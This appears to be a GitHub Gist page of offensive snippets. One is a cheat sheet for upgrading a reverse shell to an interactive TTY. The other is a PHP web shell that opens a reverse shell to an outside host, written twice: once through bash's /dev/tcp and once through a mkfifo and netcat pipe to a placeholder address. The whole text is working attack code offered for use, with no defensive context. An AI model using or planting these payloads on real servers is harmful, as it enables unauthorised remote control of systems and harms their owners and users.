Skip to content

Instantly share code, notes, and snippets.

@gwelte
gwelte / upgradetty.txt
Created November 11, 2022 18:54
upgrade to fully interactive TTY
#in reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
#suspend shell
[ctrl+z]
#map host tty to remote tty and bring suspended shell to foreground
stty raw -echo && fg
@gwelte
gwelte / shell.php
Last active November 11, 2022 18:27 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/123 0>&1'");
#another one
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 123 >/tmp/f"); ?>